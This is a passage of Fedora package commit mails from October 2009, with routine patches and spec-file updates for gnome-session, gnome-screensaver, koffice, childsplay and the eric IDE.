Subject: rpms/gnome-session/F-12 xsmp-stop.patch,NONE,1.1
Message-ID: <20091024035103.BCDC811C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-session/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28617

Added Files:
	xsmp-stop.patch 
Log Message:
forgotten patch


xsmp-stop.patch:
 gsm-xsmp-client.c |   11 +++++++++++
 1 file changed, 11 insertions(+)

--- NEW FILE xsmp-stop.patch ---
diff -up gnome-session-2.28.0/gnome-session/gsm-xsmp-client.c.xsmp-stop gnome-session-2.28.0/gnome-session/gsm-xsmp-client.c
--- gnome-session-2.28.0/gnome-session/gsm-xsmp-client.c.xsmp-stop	2009-10-23 10:47:51.555179151 -0400
+++ gnome-session-2.28.0/gnome-session/gsm-xsmp-client.c	2009-10-23 10:47:10.255456283 -0400
@@ -713,6 +713,17 @@ xsmp_stop (GsmClient *client,
 
         g_debug ("GsmXSMPClient: xsmp_stop ('%s')", xsmp->priv->description);
 
+        /*FIXME: What do we do if the client can't be stoped ?
+         * (probably a cleaner solution exists...)
+         */
+        if (xsmp->priv->conn == NULL) {
+                g_set_error (error,
+                             GSM_CLIENT_ERROR,
+                             GSM_CLIENT_ERROR_NOT_REGISTERED,
+                             "Client is not registered");
+                return FALSE;
+        }
+
         SmsDie (xsmp->priv->conn);
 
         return TRUE;



From mclasen at fedoraproject.org  Sat Oct 24 03:54:05 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 24 Oct 2009 03:54:05 +0000 (UTC)
Subject: rpms/gnome-screensaver/F-12 ask-to-die.patch, NONE,
	1.1 gnome-screensaver.spec, 1.231, 1.232
Message-ID: <20091024035405.D4CF311C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-screensaver/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29400

Modified Files:
	gnome-screensaver.spec 
Added Files:
	ask-to-die.patch 
Log Message:
Ask to die


ask-to-die.patch:
 gnome-screensaver-dialog.c |   22 +++++++++++++++++++++-
 gs-window-x11.c            |   24 ++++++++++++++++++++++++
 2 files changed, 45 insertions(+), 1 deletion(-)

--- NEW FILE ask-to-die.patch ---
diff -Nur -x '*.orig' -x '*~' gnome-screensaver-2.28.0/src/gnome-screensaver-dialog.c gnome-screensaver-2.28.0.new/src/gnome-screensaver-dialog.c
--- gnome-screensaver-2.28.0/src/gnome-screensaver-dialog.c	2009-08-26 17:06:12.000000000 +0100
+++ gnome-screensaver-2.28.0.new/src/gnome-screensaver-dialog.c	2009-10-18 22:00:14.563679981 +0100
@@ -29,6 +29,7 @@
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <unistd.h>
+#include <signal.h>
 
 #include <glib/gi18n.h>
 #include <gdk/gdkx.h>
@@ -326,6 +327,21 @@
 }
 
 static gboolean
+response_request_quit (void)
+{
+        printf ("REQUEST QUIT\n");
+        fflush (stdout);
+        return FALSE;
+}
+
+static gboolean
+quit_timeout_cb (gpointer data)
+{
+        gtk_main_quit ();
+        return FALSE;
+}
+
+static gboolean
 auth_check_idle (GSLockPlug *plug)
 {
         gboolean     res;
@@ -347,7 +363,11 @@
                 } else {
                         gs_debug ("Authentication failed, quitting (max failures)");
                         again = FALSE;
-                        gtk_main_quit ();
+                        /* Don't quit immediately, but rather request that gnome-screensaver
+                         * terminates us after it has finished the dialog shake. Time out
+                         * after 5 seconds and quit anyway if this doesn't happen though */
+                        g_idle_add ((GSourceFunc)response_request_quit, NULL);
+                        g_timeout_add (5000, (GSourceFunc)quit_timeout_cb, NULL);
                 }
         }
 
diff -Nur -x '*.orig' -x '*~' gnome-screensaver-2.28.0/src/gs-window-x11.c gnome-screensaver-2.28.0.new/src/gs-window-x11.c
--- gnome-screensaver-2.28.0/src/gs-window-x11.c	2009-10-18 21:53:27.913386916 +0100
+++ gnome-screensaver-2.28.0.new/src/gs-window-x11.c	2009-10-18 21:53:28.835892015 +0100
@@ -91,6 +91,8 @@
         gint       lock_pid;
         gint       lock_watch_id;
         gint       dialog_response;
+        gboolean   dialog_quit_requested;
+        gboolean   dialog_shake_in_progress;
 
         gint       keyboard_pid;
         gint       keyboard_watch_id;
@@ -1390,6 +1392,16 @@
         remove_key_events (window);
 }
 
+static void
+maybe_kill_dialog (GSWindow *window)
+{
+        if (!window->priv->dialog_shake_in_progress
+            && window->priv->dialog_quit_requested
+            && window->priv->lock_pid > 0) {
+                kill (window->priv->lock_pid, SIGTERM);
+        }
+}
+
 /* very rudimentary animation for indicating an auth failure */
 static void
 shake_dialog (GSWindow *window)
@@ -1398,6 +1410,8 @@
         guint left;
         guint right;
 
+        window->priv->dialog_shake_in_progress = TRUE;
+
         for (i = 0; i < 9; i++) {
                 if (i % 2 == 0) {
                         left = 30;
@@ -1422,6 +1436,9 @@
 
                 g_usleep (10000);
         }
+
+        window->priv->dialog_shake_in_progress = FALSE;
+        maybe_kill_dialog (window);
 }
 
 static gboolean
@@ -1464,6 +1481,10 @@
                                         window->priv->dialog_response = DIALOG_RESPONSE_CANCEL;
                                 }
                                 finished = TRUE;
+                        } else if (strstr (line, "REQUEST QUIT") != NULL) {
+                                gs_debug ("Got request for quit");
+                                window->priv->dialog_quit_requested = TRUE;
+                                maybe_kill_dialog (window);
                         }
                         break;
                 case G_IO_STATUS_EOF:
@@ -1577,6 +1598,9 @@
 
         set_invisible_cursor (GTK_WIDGET (window)->window, FALSE);
 
+        window->priv->dialog_quit_requested = FALSE;
+        window->priv->dialog_shake_in_progress = FALSE;
+
         result = spawn_on_window (window,
                                   command->str,
                                   &window->priv->lock_pid,


Index: gnome-screensaver.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-screensaver/F-12/gnome-screensaver.spec,v
retrieving revision 1.231
retrieving revision 1.232
diff -u -p -r1.231 -r1.232
--- gnome-screensaver.spec	23 Oct 2009 23:55:22 -0000	1.231
+++ gnome-screensaver.spec	24 Oct 2009 03:54:05 -0000	1.232
@@ -14,7 +14,7 @@
 Summary: GNOME Screensaver
 Name: gnome-screensaver
 Version: 2.28.0
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: GPLv2+
 Group: Amusements/Graphics
 Source0: http://download.gnome.org/sources/gnome-screensaver/2.28/%{name}-%{version}.tar.bz2
@@ -27,6 +27,7 @@ Patch7: gnome-screensaver-2.20.0-blank-b
 Patch8: gnome-screensaver-2.20.0-selinux-permit.patch
 Patch9: xrandr-gamma.patch
 Patch10: multihead-issues.patch
+Patch11: ask-to-die.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 URL: http://www.gnome.org
@@ -81,6 +82,7 @@ simple, sane, secure defaults and be wel
 %patch8 -p1 -b .selinux-permit
 %patch9 -p1 -b .xrandr-gamma
 %patch10 -p1 -b .multihead-issues
+%patch11 -p1 -b .ask-to-die
 
 libtoolize --force --copy
 
@@ -155,6 +157,9 @@ fi
 %doc %{_mandir}/man1/*.1.gz
 
 %changelog
+* Fri Oct 23 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-5
+- Make the dialog ask to be killed after 5 attempts
+
 * Fri Oct 23 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-4
 - Fix crashes and malfunctions in dynamic multihead situations
 



From rdieter at fedoraproject.org  Sat Oct 24 04:38:01 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 24 Oct 2009 04:38:01 +0000 (UTC)
Subject: rpms/koffice/devel .cvsignore, 1.35, 1.36 koffice.spec, 1.125,
	1.126 sources, 1.35, 1.36
Message-ID: <20091024043801.286E011C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/koffice/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31402

Modified Files:
	.cvsignore koffice.spec sources 
Log Message:
* Fri Oct 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 3:2.0.91-1
- koffice-2.0.91



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/koffice/devel/.cvsignore,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- .cvsignore	4 Oct 2009 02:34:30 -0000	1.35
+++ .cvsignore	24 Oct 2009 04:37:59 -0000	1.36
@@ -1 +1 @@
-koffice-2.0.83.tar.bz2
+koffice-2.0.91.tar.bz2


Index: koffice.spec
===================================================================
RCS file: /cvs/pkgs/rpms/koffice/devel/koffice.spec,v
retrieving revision 1.125
retrieving revision 1.126
diff -u -p -r1.125 -r1.126
--- koffice.spec	9 Oct 2009 16:17:27 -0000	1.125
+++ koffice.spec	24 Oct 2009 04:38:00 -0000	1.126
@@ -1,7 +1,7 @@
 
 #define kchart 1
 #define kexi 1
-#define kformula 1
+%define kformula 1
 #define kivio 1
 #define kugar 1
 
@@ -11,8 +11,8 @@
 
 Name:           koffice
 Epoch:          3 
-Version:        2.0.83
-Release:        2%{?dist}
+Version:        2.0.91
+Release:        1%{?dist}
 Summary:        An integrated office suite
 
 Group:          Applications/Productivity
@@ -67,7 +67,7 @@ BuildRequires: pstoedit
 BuildRequires: qca2-devel
 BuildRequires: qimageblitz-devel
 BuildRequires: readline-devel
-BuildRequires: wv2-devel >= 0.4.1
+BuildRequires: wv2-devel >= 1:0.4.1
 
 %description
 KOffice is an integrated office suite.
@@ -305,8 +305,8 @@ make install/fast DESTDIR=%{buildroot} -
 %if 0%{?external_lilypond_fonts}
 rm -fv %{buildroot}%{_kde4_appsdir}/musicshape/fonts/Emmentaler-14.ttf
 %endif
-rm -rfv %{buildroot}%{_kde4_appsdir}/apps/kformula/fonts/
-# conflicts with oxygen-icon-theme  
+rm -rfv %{buildroot}%{_kde4_appsdir}/apps/formulashape/fonts/
+ conflicts with oxygen-icon-theme  
 rm -fv %{buildroot}%{_kde4_iconsdir}/oxygen/16x16/actions/format-justify-{center,fill,left,right}.png
 rm -fv %{buildroot}%{_kde4_iconsdir}/oxygen/16x16/actions/format-text-{bold,italic,underline}.png
 rm -fv %{buildroot}%{_kde4_iconsdir}/oxygen/16x16/actions/object-{group,ungroup}.png
@@ -449,7 +449,7 @@ update-desktop-database -q &> /dev/null 
 %{_kde4_libdir}/kde4/koffice_graya_u16_plugin.so
 %{_kde4_libdir}/kde4/kofficegrayau8plugin.so
 %{_kde4_libdir}/kde4/kofficedockers.so
-%{_kde4_libdir}/kde4/kofficesimpletextedit.so
+#{_kde4_libdir}/kde4/kofficesimpletextedit.so
 %{_kde4_libdir}/kde4/libkounavailpart.*
 %{_kde4_libdir}/kde4/paragraphtool.so
 %{_kde4_libdir}/kde4/spellcheck.so
@@ -472,7 +472,7 @@ update-desktop-database -q &> /dev/null 
 %{_kde4_datadir}/kde4/services/kofficedockers.desktop
 %{_kde4_datadir}/kde4/services/kopabackgroundtool.desktop
 %{_kde4_datadir}/kde4/services/kounavail.desktop
-%{_kde4_datadir}/kde4/services/kofficesimpletextedit.desktop
+#{_kde4_datadir}/kde4/services/kofficesimpletextedit.desktop
 %{_kde4_datadir}/kde4/services/paragraphtool.desktop
 %{_kde4_datadir}/kde4/services/spellcheck.desktop
 %{_kde4_datadir}/kde4/services/textvariables.desktop
@@ -704,8 +704,8 @@ update-desktop-database -q &> /dev/null 
 %{_kde4_appsdir}/kformula/
 %{_kde4_datadir}/kde4/services/kformula*.desktop
 %{_kde4_datadir}/applications/kde4/*kformula.desktop
-%{_kde4_docdir}/HTML/en/kformula/
-%{_kde4_datadir}/kde4/services/ServiceMenus/kformula_konqi.desktop
+#{_kde4_docdir}/HTML/en/kformula/
+#{_kde4_datadir}/kde4/services/ServiceMenus/kformula_konqi.desktop
 %endif
 
 %if 0%{?kivio}
@@ -807,6 +807,9 @@ update-desktop-database -q &> /dev/null 
 
 
 %changelog
+* Fri Oct 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 3:2.0.91-1
+- koffice-2.0.91
+
 * Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 3:2.0.83-2
 - rebuild (wv2)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/koffice/devel/sources,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- sources	4 Oct 2009 02:34:30 -0000	1.35
+++ sources	24 Oct 2009 04:38:00 -0000	1.36
@@ -1 +1 @@
-063e08882f01a8b5c4dbc02bad533f20  koffice-2.0.83.tar.bz2
+48a102a389f2fa9a33a2ce5cb88d7baa  koffice-2.0.91.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 24 04:40:40 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 24 Oct 2009 04:40:40 +0000 (UTC)
Subject: rpms/koffice/devel koffice.spec,1.126,1.127
Message-ID: <20091024044040.2689811C02A6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/koffice/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32154

Modified Files:
	koffice.spec 
Log Message:
typo



Index: koffice.spec
===================================================================
RCS file: /cvs/pkgs/rpms/koffice/devel/koffice.spec,v
retrieving revision 1.126
retrieving revision 1.127
diff -u -p -r1.126 -r1.127
--- koffice.spec	24 Oct 2009 04:38:00 -0000	1.126
+++ koffice.spec	24 Oct 2009 04:40:39 -0000	1.127
@@ -306,7 +306,7 @@ make install/fast DESTDIR=%{buildroot} -
 rm -fv %{buildroot}%{_kde4_appsdir}/musicshape/fonts/Emmentaler-14.ttf
 %endif
 rm -rfv %{buildroot}%{_kde4_appsdir}/apps/formulashape/fonts/
- conflicts with oxygen-icon-theme  
+# conflicts with oxygen-icon-theme  
 rm -fv %{buildroot}%{_kde4_iconsdir}/oxygen/16x16/actions/format-justify-{center,fill,left,right}.png
 rm -fv %{buildroot}%{_kde4_iconsdir}/oxygen/16x16/actions/format-text-{bold,italic,underline}.png
 rm -fv %{buildroot}%{_kde4_iconsdir}/oxygen/16x16/actions/object-{group,ungroup}.png



From trasher at fedoraproject.org  Sat Oct 24 05:53:43 2009
From: trasher at fedoraproject.org (Johan Cwiklinski)
Date: Sat, 24 Oct 2009 05:53:43 +0000 (UTC)
Subject: rpms/childsplay/F-10 childsplay-1.4-lang_switch.patch, NONE,
	1.1 childsplay.spec, 1.16, 1.17
Message-ID: <20091024055343.3EEB411C00E5@cvs1.fedora.phx.redhat.com>

Author: trasher

Update of /cvs/extras/rpms/childsplay/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17279

Modified Files:
	childsplay.spec 
Added Files:
	childsplay-1.4-lang_switch.patch 
Log Message:
Fix bug #530599

childsplay-1.4-lang_switch.patch:
 utils.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE childsplay-1.4-lang_switch.patch ---
diff -up childsplay-1.4/utils.py.patch childsplay-1.4/utils.py
--- childsplay-1.4/utils.py.patch	2009-10-23 19:55:08.000000000 +0200
+++ childsplay-1.4/utils.py	2009-10-23 19:56:40.000000000 +0200
@@ -114,7 +114,7 @@ def get_locale():
         if lang == '':
             lang = locale.getdefaultlocale()[0].split('_')[0]
     except Exception, info:
-        module_logger.error("%s, %s" % info, "Switching to English")
+        module_logger.error("%s, %s" % (info, "Switching to English"))
         lang = 'en'
     if lang == 'C' or lang.lower() == 'posix':
         # Default to English


Index: childsplay.spec
===================================================================
RCS file: /cvs/extras/rpms/childsplay/F-10/childsplay.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- childsplay.spec	13 Sep 2009 15:05:15 -0000	1.16
+++ childsplay.spec	24 Oct 2009 05:53:42 -0000	1.17
@@ -3,7 +3,7 @@
 
 Name:           childsplay
 Version:        1.4
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Suite of educational games for young children
 Group:          Amusements/Games
 License:        GPLv3
@@ -27,6 +27,7 @@ Source22:       alphabet_sounds_ro-%{alp
 Source23:       alphabet_sounds_ru-%{alphabet_ver}.tgz
 Source24:       alphabet_sounds_sl-%{alphabet_ver}.tgz
 Source25:       alphabet_sounds_sv-%{alphabet_ver}.tgz
+Patch0:         childsplay-1.4-lang_switch.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
@@ -198,6 +199,7 @@ pushd  alphabet_sounds_lt-%{alphabet_ver
 mkdir lt
 mv *.* lt
 popd
+%patch0 -p1
 
 
 %build
@@ -395,6 +397,9 @@ fi
 
 
 %changelog
+* Fri Oct 23 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 1.4-2
+- fix get_locale issue (bug #530599)
+
 * Sun Sep 13 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 1.4-1
 - 1.4
 



From trasher at fedoraproject.org  Sat Oct 24 06:02:46 2009
From: trasher at fedoraproject.org (Johan Cwiklinski)
Date: Sat, 24 Oct 2009 06:02:46 +0000 (UTC)
Subject: rpms/childsplay/F-12 childsplay-1.4-lang_switch.patch, NONE,
	1.1 childsplay.spec, 1.21, 1.22
Message-ID: <20091024060246.5E2DA11C0266@cvs1.fedora.phx.redhat.com>

Author: trasher

Update of /cvs/extras/rpms/childsplay/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20959

Modified Files:
	childsplay.spec 
Added Files:
	childsplay-1.4-lang_switch.patch 
Log Message:
Fix bug #530599

childsplay-1.4-lang_switch.patch:
 utils.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE childsplay-1.4-lang_switch.patch ---
diff -up childsplay-1.4/utils.py.patch childsplay-1.4/utils.py
--- childsplay-1.4/utils.py.patch	2009-10-23 19:55:08.000000000 +0200
+++ childsplay-1.4/utils.py	2009-10-23 19:56:40.000000000 +0200
@@ -114,7 +114,7 @@ def get_locale():
         if lang == '':
             lang = locale.getdefaultlocale()[0].split('_')[0]
     except Exception, info:
-        module_logger.error("%s, %s" % info, "Switching to English")
+        module_logger.error("%s, %s" % (info, "Switching to English"))
         lang = 'en'
     if lang == 'C' or lang.lower() == 'posix':
         # Default to English


Index: childsplay.spec
===================================================================
RCS file: /cvs/extras/rpms/childsplay/F-12/childsplay.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- childsplay.spec	13 Sep 2009 11:04:42 -0000	1.21
+++ childsplay.spec	24 Oct 2009 06:02:45 -0000	1.22
@@ -3,7 +3,7 @@
 
 Name:           childsplay
 Version:        1.4
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Suite of educational games for young children
 Group:          Amusements/Games
 License:        GPLv3
@@ -27,6 +27,7 @@ Source22:       alphabet_sounds_ro-%{alp
 Source23:       alphabet_sounds_ru-%{alphabet_ver}.tgz
 Source24:       alphabet_sounds_sl-%{alphabet_ver}.tgz
 Source25:       alphabet_sounds_sv-%{alphabet_ver}.tgz
+Patch0:         childsplay-1.4-lang_switch.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
@@ -200,6 +201,7 @@ pushd  alphabet_sounds_lt-%{alphabet_ver
 mkdir lt
 mv *.* lt
 popd
+%patch0 -p1
 
 
 %build
@@ -402,6 +404,9 @@ fi
 
 
 %changelog
+* Fri Oct 23 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 1.4-2
+- fix get_locale issue (bug #530599)
+
 * Sun Sep 13 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 1.4-1
 - 1.4
 



From trasher at fedoraproject.org  Sat Oct 24 06:17:48 2009
From: trasher at fedoraproject.org (Johan Cwiklinski)
Date: Sat, 24 Oct 2009 06:17:48 +0000 (UTC)
Subject: rpms/childsplay/devel childsplay-1.4-lang_switch.patch, NONE,
	1.1 childsplay.spec, 1.21, 1.22
Message-ID: <20091024061748.364F311C00E5@cvs1.fedora.phx.redhat.com>

Author: trasher

Update of /cvs/extras/rpms/childsplay/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25996

Modified Files:
	childsplay.spec 
Added Files:
	childsplay-1.4-lang_switch.patch 
Log Message:
Fix bug #530599

childsplay-1.4-lang_switch.patch:
 utils.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE childsplay-1.4-lang_switch.patch ---
diff -up childsplay-1.4/utils.py.patch childsplay-1.4/utils.py
--- childsplay-1.4/utils.py.patch	2009-10-23 19:55:08.000000000 +0200
+++ childsplay-1.4/utils.py	2009-10-23 19:56:40.000000000 +0200
@@ -114,7 +114,7 @@ def get_locale():
         if lang == '':
             lang = locale.getdefaultlocale()[0].split('_')[0]
     except Exception, info:
-        module_logger.error("%s, %s" % info, "Switching to English")
+        module_logger.error("%s, %s" % (info, "Switching to English"))
         lang = 'en'
     if lang == 'C' or lang.lower() == 'posix':
         # Default to English


Index: childsplay.spec
===================================================================
RCS file: /cvs/extras/rpms/childsplay/devel/childsplay.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- childsplay.spec	13 Sep 2009 11:04:42 -0000	1.21
+++ childsplay.spec	24 Oct 2009 06:17:45 -0000	1.22
@@ -3,7 +3,7 @@
 
 Name:           childsplay
 Version:        1.4
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Suite of educational games for young children
 Group:          Amusements/Games
 License:        GPLv3
@@ -27,6 +27,7 @@ Source22:       alphabet_sounds_ro-%{alp
 Source23:       alphabet_sounds_ru-%{alphabet_ver}.tgz
 Source24:       alphabet_sounds_sl-%{alphabet_ver}.tgz
 Source25:       alphabet_sounds_sv-%{alphabet_ver}.tgz
+Patch0:         childsplay-1.4-lang_switch.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
@@ -200,6 +201,7 @@ pushd  alphabet_sounds_lt-%{alphabet_ver
 mkdir lt
 mv *.* lt
 popd
+%patch0 -p1
 
 
 %build
@@ -402,6 +404,9 @@ fi
 
 
 %changelog
+* Fri Oct 23 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 1.4-2
+- fix get_locale issue (bug #530599)
+
 * Sun Sep 13 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 1.4-1
 - 1.4
 



From trasher at fedoraproject.org  Sat Oct 24 07:19:12 2009
From: trasher at fedoraproject.org (Johan Cwiklinski)
Date: Sat, 24 Oct 2009 07:19:12 +0000 (UTC)
Subject: rpms/eric/F-10 .cvsignore, 1.19, 1.20 eric.spec, 1.43, 1.44 sources,
	1.24, 1.25
Message-ID: <20091024071912.58FB511C00E5@cvs1.fedora.phx.redhat.com>

Author: trasher

Update of /cvs/extras/rpms/eric/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14275

Modified Files:
	.cvsignore eric.spec sources 
Log Message:
New upstream release


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/eric/F-10/.cvsignore,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- .cvsignore	14 Sep 2009 04:31:01 -0000	1.19
+++ .cvsignore	24 Oct 2009 07:19:10 -0000	1.20
@@ -1,8 +1,8 @@
-eric4-4.3.7.1.tar.gz
-eric4-i18n-cs-4.3.7.1.tar.gz
-eric4-i18n-de-4.3.7.1.tar.gz
-eric4-i18n-es-4.3.7.1.tar.gz
-eric4-i18n-fr-4.3.7.1.tar.gz
-eric4-i18n-ru-4.3.7.1.tar.gz
-eric4-i18n-tr-4.3.7.1.tar.gz
-eric4-i18n-zh_CN.GB2312-4.3.7.1.tar.gz
+eric4-4.3.8.tar.gz
+eric4-i18n-cs-4.3.8.tar.gz
+eric4-i18n-de-4.3.8.tar.gz
+eric4-i18n-es-4.3.8.tar.gz
+eric4-i18n-fr-4.3.8.tar.gz
+eric4-i18n-ru-4.3.8.tar.gz
+eric4-i18n-tr-4.3.8.tar.gz
+eric4-i18n-zh_CN.GB2312-4.3.8.tar.gz


Index: eric.spec
===================================================================
RCS file: /cvs/extras/rpms/eric/F-10/eric.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- eric.spec	18 Sep 2009 21:22:35 -0000	1.43
+++ eric.spec	24 Oct 2009 07:19:10 -0000	1.44
@@ -7,8 +7,8 @@
 
 Name:    eric
 Summary: Python IDE
-Version: 4.3.7.1
-Release: 2%{?dist}
+Version: 4.3.8
+Release: 1%{?dist}
 
 License: GPL+
 Group:   Development/Tools
@@ -152,6 +152,9 @@ rm -rf %{buildroot}
 %{_libdir}/qt4/qsci/api/ruby/*.api
 
 %changelog
+* Fri Oct 16 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 4.3.8-1
+- 4.3.8
+
 * Fri Sep 18 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 4.3.7.1-2
 - add default suffix for qt4 apps
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/eric/F-10/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	14 Sep 2009 04:31:01 -0000	1.24
+++ sources	24 Oct 2009 07:19:10 -0000	1.25
@@ -1,8 +1,8 @@
-c97028915201a28b9d728ff89658e522  eric4-4.3.7.1.tar.gz
-06240f44b92bbc0474d104b977c832ad  eric4-i18n-cs-4.3.7.1.tar.gz
-9e0d676f1d715eca4fc97d7f01cab402  eric4-i18n-de-4.3.7.1.tar.gz
-1b309a6ce80b33c163d6f9b73f47c4af  eric4-i18n-es-4.3.7.1.tar.gz
-e86d502689b63a6f592c13574f9308dc  eric4-i18n-fr-4.3.7.1.tar.gz
-b8971e78b3181a46540752e5a0131384  eric4-i18n-ru-4.3.7.1.tar.gz
-b27ae962c0a6b93366e1fd52e958d465  eric4-i18n-tr-4.3.7.1.tar.gz
-eee6f38d23944a797d70ca44334336ba  eric4-i18n-zh_CN.GB2312-4.3.7.1.tar.gz
+528fabc0cc57171143fe801282b9f2c3  eric4-4.3.8.tar.gz
+c0815f6d3a336166eb7f610b712698e3  eric4-i18n-cs-4.3.8.tar.gz
+dc089855a21f3c13c7379c24914f776d  eric4-i18n-de-4.3.8.tar.gz
+df2b57481ebccabdd3ff4c5ca295f68c  eric4-i18n-es-4.3.8.tar.gz
+894baacf3030b1fc5ba3df03373eb5de  eric4-i18n-fr-4.3.8.tar.gz
+7d371a9c9c3dcdec96b10eb296f76caf  eric4-i18n-ru-4.3.8.tar.gz
+32f6e0a075d2b828c44d3365c1a6de07  eric4-i18n-tr-4.3.8.tar.gz
+548a06e61fbfe39a5d4c533b8a5d6d9d  eric4-i18n-zh_CN.GB2312-4.3.8.tar.gz



From trasher at fedoraproject.org  Sat Oct 24 07:39:55 2009
From: trasher at fedoraproject.org (Johan Cwiklinski)
Date: Sat, 24 Oct 2009 07:39:55 +0000 (UTC)
Subject: rpms/eric/F-11 .cvsignore, 1.17, 1.18 eric.spec, 1.46, 1.47 sources,
	1.24, 1.25
Message-ID: <20091024073957.50DB011C00E5@cvs1.fedora.phx.redhat.com>

Author: trasher

Update of /cvs/extras/rpms/eric/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18814

Modified Files:
	.cvsignore eric.spec sources 
Log Message:
New upstream release


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/eric/F-11/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	14 Sep 2009 03:51:26 -0000	1.17
+++ .cvsignore	24 Oct 2009 07:39:48 -0000	1.18
@@ -1,8 +1,8 @@
-eric4-4.3.7.1.tar.gz
-eric4-i18n-cs-4.3.7.1.tar.gz
-eric4-i18n-de-4.3.7.1.tar.gz
-eric4-i18n-es-4.3.7.1.tar.gz
-eric4-i18n-fr-4.3.7.1.tar.gz
-eric4-i18n-ru-4.3.7.1.tar.gz
-eric4-i18n-tr-4.3.7.1.tar.gz
-eric4-i18n-zh_CN.GB2312-4.3.7.1.tar.gz
+eric4-4.3.8.tar.gz
+eric4-i18n-cs-4.3.8.tar.gz
+eric4-i18n-de-4.3.8.tar.gz
+eric4-i18n-es-4.3.8.tar.gz
+eric4-i18n-fr-4.3.8.tar.gz
+eric4-i18n-ru-4.3.8.tar.gz
+eric4-i18n-tr-4.3.8.tar.gz
+eric4-i18n-zh_CN.GB2312-4.3.8.tar.gz


Index: eric.spec
===================================================================
RCS file: /cvs/extras/rpms/eric/F-11/eric.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- eric.spec	18 Sep 2009 21:21:23 -0000	1.46
+++ eric.spec	24 Oct 2009 07:39:49 -0000	1.47
@@ -7,8 +7,8 @@
 
 Name:    eric
 Summary: Python IDE
-Version: 4.3.7.1
-Release: 2%{?dist}
+Version: 4.3.8
+Release: 1%{?dist}
 
 License: GPL+
 Group:   Development/Tools
@@ -152,6 +152,9 @@ rm -rf %{buildroot}
 %{_libdir}/qt4/qsci/api/ruby/*.api
 
 %changelog
+* Fri Oct 16 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 4.3.8-1
+- 4.3.8
+
 * Fri Sep 18 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 4.3.7.1-2
 - add default suffix for qt4 apps
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/eric/F-11/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	14 Sep 2009 03:51:26 -0000	1.24
+++ sources	24 Oct 2009 07:39:49 -0000	1.25
@@ -1,8 +1,8 @@
-c97028915201a28b9d728ff89658e522  eric4-4.3.7.1.tar.gz
